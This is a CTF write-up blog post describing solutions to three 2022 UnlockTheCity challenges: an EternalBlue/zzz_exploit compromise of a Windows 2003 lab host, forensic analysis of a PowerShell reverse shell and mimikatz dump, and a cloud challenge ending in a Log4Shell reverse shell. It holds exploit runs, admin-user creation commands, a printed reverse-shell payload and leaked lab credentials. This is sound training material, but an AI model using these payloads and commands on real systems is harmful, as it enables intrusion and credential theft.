2022 Hacky Holidays: UnlockTheCity CTF— History Repeats, Stop The Heist, Cloud Escalator Part 1
Recently, I participated in the Hackazon Hacky Holidays: UnlockTheCity CTF (say that three times fast). UnlockTheCity was a somewhat different experience than I was used to as the CTF released challenges in 4 separate phases, limited teams to no more than 4 participants, and ran for almost 3 weeks (from July 8th-26th, 2022).
Team Dolphin Riders (don’t ask, it is a silly and really nonsensical story), rallied hard, peaking somewhere around 10th place through 3 phases before finishing 13th overall.
I thoroughly enjoyed most of the challenges I partook in except for that dreaded Port Authority (stupid captain must have got NASCAR and the seven seas mixed up — ok, I’ll even admit that was fun too). Anyway, here is a writeup of my top three (3) favorite challenges I attempted and solved!
3. History Repeats [#network #exploit] — 250 points
2. Stop The Heist [#forensics #ir] — 225 points
1. Cloud Escalator, Part 1 [#web #cloud] — 300 points
3. History Repeats [ HARD #network #exploit ]
CHALLENGE INFORMATION
The AI locked us out of our Core Infra System running on 10.6.0.2, if only we had installed our updates… Can you find a way to get in?
Author information: This challenge is developed by BHemida@DeloitteNL.ENTER FLAGS [250 POINTS]
RECOVERY ACCESS
Can you find a way to get back into the core infrastructure system
The challenge contained one (1) subtask for all 250 points and required access via the CTF VPN.
This was one kicked over the fence to me from Matt “Rudy” Benton after some initial (frustrating) recon. The challenge description and title clued us in that this was very likely something relatively notorious. A few nmap scans reinforced this preconception as NETBIOS and SMB were found open:
$nmap -sS 10.6.0.2
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-26 08:12 EDT
Nmap scan report for insecureAD (10.6.0.2)
Host is up (0.14s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 00:16:3E:5B:22:D9 (Xensource)$nmap -sU -sS --script smb-enum-shares.nse -p U:137,T:139 10.6.0.2
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-26 08:19 EDT
Nmap scan report for insecureAD (10.6.0.2)
Host is up (0.12s latency).PORT STATE SERVICE
139/tcp open netbios-ssn
137/udp open netbios-ns
MAC Address: 00:16:3E:5B:22:D9 (Xensource)Host script results:
| smb-enum-shares:
| note: ERROR: Enumerating shares failed, guessing at common ones (NT_STATUS_ACCESS_DENIED)
| account_used: <blank>
| \\10.6.0.2\IPC$:
| warning: Couldn't get details for share: NT_STATUS_ACCESS_DENIED
|_ Anonymous access: READNmap done: 1 IP address (1 host up) scanned in 176.32 seconds
Next, a hunch led to trying out MS17–010 (CVE-2017–0144). Full disclosure, MS17–010 is one of my guilty pleasures to mess with. Brings me back to my days during an exercise where my custom WannaCry emulator ran amuck creating the ultimate cyber nuclear winter on those poor VMs.
Anyway, back to the task at hand. Metasploit’s MS17–010 checker very quickly seemed to confirm our hunch:
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
[+] 10.6.0.2:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2003 3790 Service Pack 2
[*] 10.6.0.2:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
But alas, after numerous exploitation attempts using MSF’s MS17–010 eternalblue module, nothing proved fruitful:
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] 10.6.0.2:445 - Connecting to target for exploitation.
[+] 10.6.0.2:445 - Connection established for exploitation.
[+] 10.6.0.2:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.6.0.2:445 - CORE raw buffer dump (39 bytes)
[*] 10.6.0.2:445 - 0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2
[*] 10.6.0.2:445 - 0x00000010 30 30 33 20 33 37 39 30 20 53 65 72 76 69 63 65 003 3790 Service
[*] 10.6.0.2:445 - 0x00000020 20 50 61 63 6b 20 32 Pack 2
[+] 10.6.0.2:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.6.0.2:445 - Trying exploit with 22 Groom Allocations.
[*] 10.6.0.2:445 - Sending all but last fragment of exploit packet
[*] 10.6.0.2:445 - Starting non-paged pool grooming
[+] 10.6.0.2:445 - Sending SMBv2 buffers
[+] 10.6.0.2:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.6.0.2:445 - Sending final SMBv2 buffers.
[*] 10.6.0.2:445 - Sending last fragment of exploit packet!
[*] 10.6.0.2:445 - Receiving response from exploit packet
[+] 10.6.0.2:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.6.0.2:445 - Sending egg to corrupted connection.
[*] 10.6.0.2:445 - Triggering free of corrupted buffer.
[-] 10.6.0.2:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.6.0.2:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.6.0.2:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
My experiences with this exploit knew that exploitation of MS17–010 could be tricky at times. The challenge being rated HARD also suggested that this would not be a turn-key exploit. Digging in, I revisited the nmap smb-enum output and assumed that the lack of available SMB shares might be preventing successful exploitation. What now?
While I still leaned that the eternalblue version of MS17–010 was going to be the key, I flirted with the idea of trying the other flavors. Metasploit has a few available by default:
> search ms17_010Matching Modules
================ # Name
- ----
0 exploit/windows/smb/ms17_010_eternalblue
1 exploit/windows/smb/ms17_010_psexec
2 auxiliary/admin/smb/ms17_010_command
3 auxiliary/scanner/smb/smb_ms17_010
And here’s where the multiverse forks. During the CTF, I had used the MSF auxiliary/admin/smb/ms17_010_command to issue a simple ping command back to my system in order to confirm successful code execution. The module uses MS17–010 eternalromance for exploitation, and instead of pushing a file over to C$, merely executes the command requested:
msf6 auxiliary(admin/smb/ms17_010_command) > set COMMAND cmd.exe /c ping 10.6.0.100
COMMAND => cmd.exe /c ping 10.6.0.100
msf6 auxiliary(admin/smb/ms17_010_command) > exploit
[*] Started reverse TCP handler on 10.6.0.100:4444
[*] 10.6.0.2:445 - Target OS: Windows Server 2003 3790 Service Pack 2
[*] 10.6.0.2:445 - Filling barrel with fish... done
[*] 10.6.0.2:445 - <---------------- | Entering Danger Zone | ---------------->
[*] 10.6.0.2:445 - [*] Preparing dynamite...
[*] 10.6.0.2:445 - [*] Trying stick 1 (x64)...Boom!
[*] 10.6.0.2:445 - [+] Successfully Leaked Transaction!
[*] 10.6.0.2:445 - [+] Successfully caught Fish-in-a-barrel
[*] 10.6.0.2:445 - <---------------- | Leaving Danger Zone | ---------------->
[*] 10.6.0.2:445 - Reading from CONNECTION struct at: 0xfffffadfffc63c70
[*] 10.6.0.2:445 - Built a write-what-where primitive...
[+] 10.6.0.2:445 - Overwrite complete... SYSTEM session obtained!
But in the CTF afterparty (to allow players to fine-tune writeups), where one isn’t downing Red Bulls and listening to the latest haxxor rave playlist on Spotify well late into the night, this did not work. In fact, a slight modification to the infamous zzz python script by wowrit was successful:
$python zzz_exploit.py 10.6.0.2 lsarpc
Target OS: Windows Server 2003 3790 Service Pack 2
Groom packets
attempt controlling next transaction on x64
success controlling one transaction
Target is x64
modify parameter count to 0xffffffff to be able to write backward
leak next transaction
CONNECTION: 0xfffffadffd3ae020
SESSION: 0xfffffa8000513500
FLINK: 0x7c6e8
InData: 0x7b7b0
MID: 0xa
TRANS1: 0x793f0
TRANS2: 0x7b5d0
modify transaction struct for arbitrary read/write
make this SMB session to be SYSTEM
current TOKEN addr: 0xfffffa80003954c0
userAndGroupCount: 0x5
userAndGroupsAddr: 0xfffffa8000395588
overwriting token UserAndGroups
Opening SVCManager on 10.6.0.2.....
Creating service bhDn.....
Starting service bhDn.....
SCMR SessionError: code: 0x41d - ERROR_SERVICE_REQUEST_TIMEOUT - The service did not respond to the start or control request in a timely fashion.
Removing service bhDn.....
creating file c:\pwned.txt on the target
Done
Those of you who work for Marvel’s TVA, fret not. The post exploitation utilized in both cases very quickly provided the flag in the same fashion. I initially thought about echoing out line by line some sort of WScript download and execute utility, but then rejected that idea because, well, I have a history of messing up command line escape sequences (quasi related, relevant XKCD).
So adding a user and a share it is! I simply changed the command each subsequent exploitation attempt to add a user, escalate the user, and finally open a share so I could access all of the all-mighty C drive:
cmd /C net user allen steve12345 /add
cmd /C localgroup administrators allen /add
cmd /C net share C=C:
Next, using smbclient and navigating to the Administrator’s Desktop, the flag could be found:
$smbclient \\\\10.6.0.2\\C -U allen
Password for [WORKGROUP\allen]:
Try "help" to get a list of possible commands.
smb: \> ls
AUTOEXEC.BAT A 0 Wed Jul 20 03:11:52 2022
boot.ini HS 219 Wed Jul 20 02:59:20 2022
CONFIG.SYS A 0 Wed Jul 20 03:11:52 2022
Documents and Settings D 0 Wed Jul 20 07:16:04 2022
IO.SYS AHSR 0 Wed Jul 20 03:11:52 2022
MSDOS.SYS AHSR 0 Wed Jul 20 03:11:52 2022
NTDETECT.COM AHSR 47772 Sun Feb 18 07:00:00 2007
ntldr AHSR 297072 Sun Feb 18 07:00:00 2007
pagefile.sys AHS 1610612736 Tue Jul 26 08:12:40 2022
Program Files DR 0 Wed Jul 20 03:06:57 2022
Program Files (x86) DR 0 Wed Jul 20 03:09:35 2022
System Volume Information DHS 0 Wed Jul 20 03:18:18 2022
WINDOWS D 0 Wed Jul 20 16:39:19 2022
wmpub D 0 Wed Jul 20 03:12:49 2022smb: \Docume~1\admini~1\Desktop\> more flag.txt
getting file \Docume~1\admini~1\Desktop\flag.txt of size 30 as /tmp/smbmore.9I2vW6 (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
"CTF{N0t_4_Scr1pt_K1dd13s}"
FLAG: CTF{N0t_4_Scr1pt_K1dd13s}
2. Stop The Heist [MEDIUM #forensics #ir]
CHALLENGE INFORMATION
Oh no! Attackers might have stolen our precious documents from the super secret share. We need to know what they took exactly…
Author information: This challenge is developed by OHaalstra@deloitteNL.
This challenge contained four (4) files and had three (3) subtasks for a total of 225 points. The four files were:
unlockthecity.json
unlockthecity.pcapng
unlockthecity.zip
rockyou.txt
[75 POINTS]LOCATE THE PAYLOAD.
The attackers seem to have gotten a foothold on our system. And executed some malicious code. We need to know what the code does.
The first subtask states we need to find the payload on the system. Digging through the provided files, it was discovered that the provided ZIP is some sort of dump of the C drive:
In this dump, my expert sleuthing skills found some windows event logs. Additional scouring in the provided JSON hints to powershell execution being the initial infection point. So opening up the following confirmed such:
- .\C\windows\system32\winevt\Logs\Windows PowerShell.evtx
Pipeline execution details for command line: $TCPClient = New-Object Net.Sockets.TCPClient('192.168.117.157', 4444);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close().
- .\C\windows\system32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx
[Microsoft Powershell Operational]
CommandInvocation(Invoke-Expression): "Invoke-Expression"
ParameterBinding(Invoke-Expression): name="Command"; value="\\192.168.117.157\secure\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" > C:\Temp\dump.txt"
CommandInvocation(Out-String): "Out-String"
TerminatingError(Invoke-Expression): "The term '\\192.168.117.157\secure\mimikatz.exe' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again."
After using the ultimate cheat-code known as Ctrl+F for the string “CTF{“ on the Microsoft Powershell Operational log presents the flag in one of the entries:
Easy to miss if you aren’t paying attention. The provided unlockthecity.json
contains nearly the same output, except the flag is “CTF{XXXXXXXXXXX}”, so my mind just assumed this was the exact same string. Thankfully Matt “Rudy” Benton was following a screen share as I was bouncing through these and promptly pointed out the real flag.
FLAG: CTF{You_Found_The_EVIL_AI_Payload}
[75 POINTS]STOLEN FILES
To report to the authorities we must know exactly which files have been taken by the attacker. Are you able to figure this out?
The next subtask required hunting down the exfiltrated files. Due to the previous challenge, this task proved to be somewhat easy as we already knew what the C&C TCP port was being used: 4444.
Opening up the greatest free packet analyzer I have, aka Wireshark, on the provided PCAP and filtering to display TCP port 4444, the following is shown:
Thus, following the TCP stream the flag is made pretty apparent:
FLAG: CTF{EXFILTRATE_ALL_THE_FILES}
[75 POINTS]PASSWORD CRACKING
Can you please find out whether the attack was caused by a weak password? We need to know whether the users are adhering to our password policy. Our password policy for the domain is CTF{[ROCKYOU_1]_[ROCKYOU_2]!} where [ROCKYOU_1] and [ROCKYOU_2] are distinct words from the rockyou.txt list.
And the next segment is brought to you by More Password Cracking! A pretty simple solve… …if you carefully read the description. There’s about an hour or two of cracking time wasted because I initially didn’t, and omitted the trailing !
.
My approach to this challenge was to use hashcat’s combinator attack as it should allow use of two separate dictionaries to combine into a single one. The catch is, I believe only a single character can be appended to each list (this could be a false assumption btw). The challenge states that the passwords should be in the following format:
"CTF{" + [word from rockyou] +"_"+[word from rockyou]+"!}"
Enter sed to save the day! Using Kali WSL (don’t laugh, it is perfect for these kinds of tasks), the provided rockyou.txt was modified into two (2) separate dictionaries: one with CTF{ prepended ( ^
denotes line start) and the other with !} appended ( $
denotes line end). If you are curious, “sth” translates to “Start The Hack” / I just didn’t feel like calling it rockyou_prepend.txt for some reason — read my comment about red bull and haxxor techno earlier for context.
$ cp rockyou.txt rockyou_sth.txt
$ cp rockyou.txt rockyou_append.txt
$ sed -i ‘s/^/CTF{/g’ rockyou_sth.txt
$ sed -i ‘s/$/!}/g’ rockyou_append.txt$ head -n2 rockyou_sth.txtCTF{123456 CTF{12345$ head -n rockyou_append.txt123456!} 12345!}
So… what hashes are we auditing??? Going back to the JSON and Powershell event logs, we see that the attacker attempted and failed (and I would presume at some point successfully) numerous credential dumps using mimikatz:
CommandInvocation(Invoke-Expression): "Invoke-Expression"
ParameterBinding(Invoke-Expression): name="Command"; value="\\192.168.117.157\secure\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" > C:\Temp\dump.txt"
This guided me over to the unzipped contents of the C drive dump. Surprise, surprise, there’s a dump.txt sitting in C:\Temp. The contents are typical mimikatz sekurlsa outputs containing hashed credentials of the poor schmuck “unlockthecity”:
msv :
[00000003] Primary
* Username : unlockthecity
* Domain : WINDOMAIN
* NTLM : c5c70d1571e4fcc0d818cceab3025fcf
* SHA1 : c8db2137682086005c05483bd0635ece23811243
* DPAPI : 87bb7ccc8291ba57bf86452544b861ad
tspkg :
wdigest :
* Username : unlockthecity
* Domain : WINDOMAIN
* Password : (null)
kerberos :
* Username : unlockthecity
* Domain : WINDOMAIN.LOCAL
* Password : (null)
After placing just the NTLM hash in its own file, my hashcat command looked something like this:
.\hashcat.exe -a 1 -m 1000 .\rogue.hash 'C:\Users\Public\Downloads\share\UnlockTheCity\StopTheheist\rockyou_sth.txt' 'C:\Users\Public\Downloads\share\UnlockTheCity\StopTheheist\rockyou_append.txt' -j '$_' --hwmon-disable --potfile-path
Add a dash of fried laptop GPU and about 50 minutes later our password flambé is served in an exquisite blue shell:
FLAG: CTF{city123_unlocked!}
1. Cloud Escalator Part 1 [HARD #web #cloud ]
CHALLENGE INFORMATION
The AI managed to get into our secure smart city portal, but we have no clue how it got there.Author information: This challenge is developed by Ankit Parashar, Vivek Mukkam Palavila Vijayan, Ralph van den Hoff and Fouad Aljaber.
Another multitask challenge with 4 subtasks for a total of 300 points. This challenge was initially accessed via an on-demand public instance spun up through the hackazon portal, but as the tags would imply, parts were indeed on other public cloud/internet platforms. This was by far my favorite challenge that I completed, and with more time to compete in the CTF, I think I would have rather enjoyed Part 2 as well.
[25 POINTS]IT’S THERE BUT NOT REALLY
Take a real close look
First glance would obviously hint that this by point total would be the easiest subtask to achieve, but the provided task text was left (intentionally?) somewhat vague. Upon accessing the on-demand instance web page we were met with a massive “UNDER CONSTRUCTION” image.
Looking in the source didn’t provide much, so the thought was probably start gobuster while I manually poke at some things. /login
was a lucky guess, which then after some poking around lead to the forgotten password page:
In the forgotten password page source, creds to an assumed SQL db can be seen in the errorMessage
function:
Piping these into mysql led to a handful of databases that might prove useful:
$mysql -u allen -h escalator.c45luksaam7a.us-east-1.rds.amazonaws.com -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 17376
Server version: 5.7.38-log Source distributionCopyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| accounts |
| config |
| env |
| innodb |
| mysql |
| sys |
| users |
+--------------------+
Using the users
database, and viewing the tables, the first flag of the challenge can be captured by a simple select * from data;
:
MySQL [users]> show tables;
+-----------------+
| Tables_in_users |
+-----------------+
| data |
| employees |
| employees_login |
+-----------------+
3 rows in set (0.009 sec)
Part 1
MySQL [users]> select * from data;
+------------------------+
| flag |
+------------------------+
| CTF{!_p@wn3d_db_4_fu9} |
+------------------------+
1 row in set (0.010 sec)
FLAG: CTF{!_p@wn3d_db_4_fu9}
[50 POINTS]THROW EVERYTHING IN THERE
Don’t add too much or it’ll overflow
Oh… like a play on everything but the kitchen sink? I was wondering what the task hint was getting at. I guess I get it now, anyway…
Dumping the config db, the aptly named aws_env table is present with some bad news for poor ol’ Allen Butler… ok, not our Allen Butler, but their allen:
MySQL [(none)]> use config;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -ADatabase changed
MySQL [config]> show tables;
+------------------+
| Tables_in_config |
+------------------+
| aws_env |
+------------------+
1 row in set (0.009 sec)MySQL [config]> select * from aws_env;
+---------+----------------------+------------------------------------------+
| user | access_key | secret |
+---------+----------------------+------------------------------------------+
| s3user1 | AKIAWSXCCGNYFS7NN2XU | m6zD41qMXR4KlcyjXAIxdYrDm0YczPIiyi1p9P0I |
+---------+----------------------+------------------------------------------+
Adding this key into my aws testing environment ends up providing access to some sort of logging file:
$aws configure
AWS Access Key ID [None]: AKIAWSXCCGNYFS7NN2XU
AWS Secret Access Key [None]: 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
Default region name [None]: us-east-1
Default output format [None]: $aws s3 ls
2022-06-20 10:07:37 escalator-logger-armour$aws s3 ls s3://escalator-logger-armour
PRE new/
2022-07-15 04:27:35 11351 Logs.txt$aws s3 cp s3://escalator-logger-armour/Logs.txt Logs.txt
download: s3://escalator-logger-armour/Logs.txt to ./Logs.txt
Searching for the known string CTF{
(CTRL+F FTW again!!!) the flag can be spotted on line 64 in an informational message:
23-Jun-2022 12:50:31.561 INFO [main] org.apache.catalina.core.AprLifecycleListener.lifecycleEvent APR capabilities: CTF{S3eing_T3r0ugh_!t}
FLAG: CTF{S3eing_T3r0ugh_!t}
[75 POINTS]FOLLOW THROUGH
It takes commitment, but if you follow through you’ll find it
OMG!!! COMMIT(ment)! Just put that together… I guess I should actually read the hints before I start the tasks next, time.
Another nugget mined from the Logs.txt
file is an error complaining about not being able to pull some git repository:
[44] 23-Jun-2022 12:50:31.551 ERROR [main] unable to pull update from github.com/cloudhopper-sec/app.git
Visiting the cloudhopper-sec
github page,we are able to see a recent commit, but no public repos:
And then back to the kitchen sink-there is a db named env
which contains a deploy_key
in the .git
table:
MySQL [env]> select * from git;deploy_key
+------
---+
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gt
[TRUNCATED FOR BLOG]
xzEXSds9RclFAAAAEHRlc3RAZXhhbXBsZS5jb20BAg==
-----END OPENSSH PRIVATE KEY----- |
Copying the key over to ~/.ssh/cloud_rsa
and then following a guide found on github related to using SSH for accessing repositories, I quickly fired up <insert you favorite editor here> and threw together a sloppy, yet I guess effective SSH config that would allow access to the private repo:
[~/.ssh/config]
Host github.com-repo-0
Hostname github.com
IdentityFile=/root/.ssh/cloud.rsa$git clone git@github.com-repo-0:cloudhopper-sec/app.git
Cloning the repo locally, I was now armed with the source to the great “UNDER CONSTRUCTION” banner. Oh and the rest of the app, of course. And then, looking at CookieHandler.java
, then the username and password fields which are compared to LoginServlet.java
inputs are blank? Has this been scrubbed???
Mentioning my theory over to Allen Butler, he just non-chalantly says, “ Oh yeah, you using VSCode bro? Dude, it can like pull previous commits and show the diffs between them.” (I’m paraphrasing). So installing Github Pull Requests and Issues extension on my VSCode, and then selecting “Source Control” on the left hand side, displays a tell-tell commit properly named “sanitisation”. Clicking on such shows that CookieHandler.java
has indeed been cleaned and used to have admin
credentials present:
Logging in using the /login
page on the webapp, we were met with a beautiful flag:
FLAG: CTF{Y0u_G0t_A_l3ak}
[150 POINTS]SECURITY CHECK
Can you make sure that you got all the vulnerabilities?
The final and hardest task of this challenge. Right away, while we were working our way figuring out the last steps of the previous task, we made note of the fact that log4j was indeed package with the webapp. The dependency entry in pom.xml
showed version 2.14.1, which is a known vulnerable version of log4j to log4jshell (CVE -2021-44228):
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
To prove our theory, Matt “Rudy” Benton suggested we utilize huntress’s log4shell tester:
Next, we needed to identify what was being logged and how. As we raced one another digging through the webapp source, I eventually stumbled on a block of code present in ProfileServlet.java
(I’m telling the story here, so I won of course):
The code is looking for an optional cookie named debug
, then logging the base64 decoded value on it. Additionally , the code was checking to ensure the LoggedIn
cookie was present, so the valid admin login from earlier helped:
Logging in, using Burp, and sending my request over to repeater, I was able to easily add the debug
cookie and received a response on the huntress log4shell tester (pictured earlier):
It was important to note that html encoding =
characters would cause the server to rip a hole in time and space and throw a http 500 status (Only wasted about an hour or 17 trying to troubleshoot that).
After a few tests, I then sought out how to achieve a reverse shell on the webapp system. My first attempt was trying to re-use joswr1ght’s log4shell payload from SANS Holiday Hack 2021, obviously with a few minor edits to point at my cloud based redirector. Unfortunately, as the payload requires nc
, this was not successful. I then found a payload that relied on just sockets and a command execution application (such as /bin/bash
or cmd.exe
for you windows types). Carving out just the java bits I needed, I felt I was ready to try again:
[~/.ssh/config]
Host vps-1
Hostname xx.xx.xx.xx
IdentityFile=/root/.ssh/id_rsa
user xxxxxx
RemoteForward 0.0.0.0:8081 0.0.0.0:1389
RemoteForward 0.0.0.0:8080 0.0.0.0:8082[tab 1 - Marshalsec]
$java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://XX.xx.xx.xxx:8080/#YuleLogExploit"[tab 2 - Python Server]
$python3 -m http.server 8082
Serving HTTP on 0.0.0.0 port 8082 (http://0.0.0.0:8082/) ...
127.0.0.1 - - [27/Jul/2022 09:40:54] "GET /YuleLogExploit.class HTTP/1.1" 200 -[tab 3 - nc on VPS-1 ]
$ sudo nc -lvp 80
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
And… nothing. Oh wait, I’m sure I have the wrong java loaded. Pulling down jdk8, and compiling again (here’s how, since I very blatantly glossed over this):
$jdk1.8.0_333/bin/javac YuleLogExploit.java
I was met with some better success, and found the flag:
$ sudo nc -lvp 80
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 136.243.68.77.
Ncat: Connection from 136.243.68.77:50490.
id
uid=0(root) gid=0(root) groups=0(root)
pwd
/usr/local/tomcat
cd /
ls -al /root
total 12
drwx------ 1 root root 18 Jul 15 12:40 .
drwxr-xr-x 1 root root 44 Jul 27 13:36 ..
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
drwx------ 1 root root 6 Aug 31 2016 .gnupg
-rw-r--r-- 1 root root 140 Nov 19 2007 .profile
-rw-rw-r-- 1 root root 22 Jul 15 12:39 flag
cat /root/flag
CTF{H3aT_th3_L0GF0rg3}
FLAG: CTF{H3aT_th3_L0GF0rg3}
Summary
As I said at the top, UnlockTheCity was a blast! The tasks contained interesting challenges about Quantum Computing, Crypto, Forensics, Cloud computing, Network Exploiation, Programming Challenges, Incident Response, and much more! My teammates and I fully cleared 2 of the 4 districts (darn Port Authority, or it would have been 3), solved 64/81 subtasks, scored 4650 points, and placed #13th overall, #5th amongst professional teams, #3 in the US, and #1 amongst professional teams in the US. Congrats to winners of the CTF, who will be officially announced August 2nd on the HackyHolidays twitter.
Maveris is an IT and cybersecurity company committed to helping organizations create secure digital solutions to accelerate their mission. We are Veteran-owned and proud to serve customers across the Federal Government and private sector. Maveris Labs is a space for employees and customers to ask and explore answers to their burning “what if…” questions and to expand the limits of what is possible in IT and cybersecurity. To learn more, go to maveris.com/#maveris-labs.